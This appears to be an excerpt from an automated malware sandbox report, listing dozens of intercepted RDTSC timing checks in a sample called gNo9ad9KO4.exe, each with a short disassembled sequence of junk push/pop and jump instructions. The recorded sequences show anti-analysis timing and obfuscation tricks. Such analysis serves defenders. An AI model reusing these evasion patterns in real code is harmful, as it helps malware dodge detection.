Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3BB6 second address: 3B3BEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C929DFh 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F4688C929D6h 0x00000015 jmp 00007F4688C929E5h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3BEA second address: 3B3C05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F4688C1B766h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3EB4 second address: 3B3EBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3B3EBB second address: 3B3EC0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA8B1 second address: 3BA8B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA8B7 second address: 3BA8D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B776h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA8D4 second address: 3BA8E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F4688C929DEh 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA8E9 second address: 3BA901 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B774h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA901 second address: 3BA910 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA910 second address: 3BA917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA917 second address: 3BA931 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C929E0h 0x00000009 jns 00007F4688C929D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA931 second address: 3BA935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BA935 second address: 3BA93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BAA8E second address: 3BAA93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BD20F second address: 3BD213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3BD213 second address: 3BD219 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C2935 second address: 3C293A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C2D29 second address: 3C2D2D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C2D2D second address: 3C2D47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 ja 00007F4688C929D6h 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jne 00007F4688C929D6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377816 second address: 37781C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 37781C second address: 377845 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4688C929DAh 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C929E6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 377845 second address: 37784B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C32BC second address: 3C32F4 instructions: 0x00000000 rdtsc 0x00000002 js 00007F4688C929D6h 0x00000008 jng 00007F4688C929D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 push eax 0x00000016 pop eax 0x00000017 popad 0x00000018 jmp 00007F4688C929E6h 0x0000001d popad 0x0000001e jng 00007F4688C929F0h 0x00000024 push eax 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C32F4 second address: 3C3306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4688C1B766h 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 337B54 second address: 337B58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3C672D second address: 3C673C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b pop eax 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CBCF0 second address: 3CBCF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CBCF9 second address: 3CBCFD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CB23A second address: 3CB266 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4688C929EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4688C929DAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CB3A3 second address: 3CB3A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CB3A9 second address: 3CB3AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3CB716 second address: 3CB71E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D13DC second address: 3D141D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F4688C929FDh 0x0000000b jmp 00007F4688C929DEh 0x00000010 jmp 00007F4688C929E9h 0x00000015 pushad 0x00000016 jng 00007F4688C929D6h 0x0000001c jo 00007F4688C929D6h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1715 second address: 3D1719 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1719 second address: 3D1726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1726 second address: 3D172E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1F93 second address: 3D1FA3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4688C929D6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1FA3 second address: 3D1FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D1FA7 second address: 3D1FAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D2306 second address: 3D230C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D230C second address: 3D239C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jng 00007F4688C929E2h 0x0000000f jno 00007F4688C929D6h 0x00000015 jc 00007F4688C929D6h 0x0000001b push ecx 0x0000001c push edi 0x0000001d pop edi 0x0000001e push esi 0x0000001f pop esi 0x00000020 pop ecx 0x00000021 popad 0x00000022 pushad 0x00000023 pushad 0x00000024 jng 00007F4688C929D6h 0x0000002a jmp 00007F4688C929E2h 0x0000002f popad 0x00000030 js 00007F4688C929E7h 0x00000036 jmp 00007F4688C929DBh 0x0000003b je 00007F4688C929D6h 0x00000041 pushad 0x00000042 jmp 00007F4688C929E9h 0x00000047 jbe 00007F4688C929D6h 0x0000004d popad 0x0000004e push eax 0x0000004f push edx 0x00000050 jl 00007F4688C929D6h 0x00000056 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D239C second address: 3D23A6 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4688C1B766h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D25D6 second address: 3D25DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D25DC second address: 3D25E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D287E second address: 3D2882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D2882 second address: 3D288A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D99F4 second address: 3D9A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F4688C929D6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D8B1D second address: 3D8B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jbe 00007F4688C1B766h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D8B2E second address: 3D8B38 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4688C929D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D8C95 second address: 3D8CBD instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4688C1B778h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jbe 00007F4688C1B766h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D8CBD second address: 3D8CC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D937A second address: 3D937E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D937E second address: 3D938C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929DAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D938C second address: 3D93A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 pushad 0x00000008 jp 00007F4688C1B76Ch 0x0000000e jnp 00007F4688C1B766h 0x00000014 pushad 0x00000015 push edi 0x00000016 pop edi 0x00000017 push eax 0x00000018 pop eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D94F4 second address: 3D9500 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F4688C929D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D9500 second address: 3D951A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4688C1B776h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D951A second address: 3D9531 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F4688C929D6h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D9531 second address: 3D9560 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B779h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F4688C1B76Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3D96E8 second address: 3D96F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F4688C929D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3DE358 second address: 3DE362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3DE362 second address: 3DE366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E533B second address: 3E5349 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnp 00007F4688C1B766h 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E565F second address: 3E5697 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C929E4h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4688C929DDh 0x00000013 push ebx 0x00000014 jo 00007F4688C929D6h 0x0000001a jno 00007F4688C929D6h 0x00000020 pop ebx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5697 second address: 3E569D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E569D second address: 3E56AB instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4688C929D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E586A second address: 3E5874 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F4688C1B766h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5A0A second address: 3E5A10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5A10 second address: 3E5A14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5CC0 second address: 3E5CDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F4688C929E5h 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5CDF second address: 3E5CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3E5CE5 second address: 3E5D12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push ecx 0x00000007 jng 00007F4688C929F3h 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED0E1 second address: 3ED0EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F4688C1B766h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED21F second address: 3ED235 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F4688C929DDh 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED235 second address: 3ED23D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED23D second address: 3ED241 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED39C second address: 3ED3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED3A0 second address: 3ED3A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3ED3A6 second address: 3ED3AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3EF8C7 second address: 3EF8DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 js 00007F4688C929D6h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 jp 00007F4688C929D6h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32DB48 second address: 32DB4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32DB4E second address: 32DB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32DB57 second address: 32DB5B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 32DB5B second address: 32DB5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3FD339 second address: 3FD361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4688C1B76Bh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b jmp 00007F4688C1B76Ch 0x00000010 popad 0x00000011 push ecx 0x00000012 jbe 00007F4688C1B766h 0x00000018 push ecx 0x00000019 pop ecx 0x0000001a pop ecx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3FD4AD second address: 3FD4B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 3FD4B5 second address: 3FD4B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 4004F9 second address: 40051C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F4688C929E1h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 40051C second address: 40053A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4688C1B76Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jc 00007F4688C1B770h 0x0000000f jmp 00007F4688C1B76Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 40053A second address: 40053F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 411FC0 second address: 411FC6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 411E0B second address: 411E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F4688C929EDh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41B9C4 second address: 41B9CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\gNo9ad9KO4.exe	RDTSC instruction interceptor: First address: 41B9CA second address: 41B9CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
